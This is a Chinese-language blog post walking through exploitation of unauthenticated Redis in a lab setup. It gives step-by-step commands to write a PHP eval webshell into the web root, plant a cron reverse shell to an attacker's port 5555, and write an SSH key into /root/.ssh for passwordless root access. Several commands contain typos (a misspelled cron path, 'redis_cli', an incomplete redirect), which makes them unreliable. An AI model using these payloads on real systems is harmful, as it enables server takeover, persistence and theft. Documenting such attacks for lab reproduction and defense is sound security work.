Redis未授权访问Getshell

发布时间 2023-04-04 21:48:42作者: 木易同学

漏洞成因

有些redis绑在0.0.0.0:6379,没有开启验证或者没有设置对未知ip来源进行限制以及默认的空密码就导致了redis默认访问

但是这个普遍的漏洞极可能造成后门植入getshell,也可能造成反弹shell权限维持,甚至会造成ssh直接免密连接服务器

开始复现

搭建环境

服务器操作系统为ubuntu,ip为192.168.58.129

sudo apt update
sudo apt install redis-server
sudo systemctl status redis-server
sudo vim /etc/redis/redis.conf
将 bind 127.0.0.1 ::1 注释掉
  # bind 127.0.0.1 ::1
将 protected-mode 改成 no
  protected-mode no
保存配置文件
重启Redis服务器 使其生效
sudo systemctl restart redis-server

 

后面植入getshell

前提条件要知道网站的绝对路径和开启了web服务

使用kali进行远程连接,使用redis-cli

 

redis-cli -p ip 未授权连接redis

 

config get dir 获取redis的备份文件

 

config set dir /var/www/html 设置路径为网站路径

 

config set dbfilename shell.php 设置文件名
set x "<?php eval($_POST['shell']);?>" 给文件写入shell

 

设置定时任务定时反弹权限维持

1.redis-cli -h ip
2.config set dir /var/spool/corn 设置路径为定时任务路径
3.set x “\n***** bash -i >& /dev/tcp ip/5555 0>&\n” 设置定时任务,反弹到5555端口
4.save
5.攻击机监听5555端口

 

写入ssh公钥远程连接

1.ssh-keygen -t rsa 生成ssh公钥
2.redis-cli -h ip redis未授权连接
3.redis-cli ip 连接服务器
4.config getdir 获取redis备份路径
5.config set dir /root/.ssh 设置备份路径为ssh公钥存放目录
6.config set dbfilename xx 设置上传公钥备份文件名为
7.cat /key.txt | redis_cli -h ip -x set pub 将公钥写入redis缓冲
8.ssh -i id_rsa root@ip 免密登录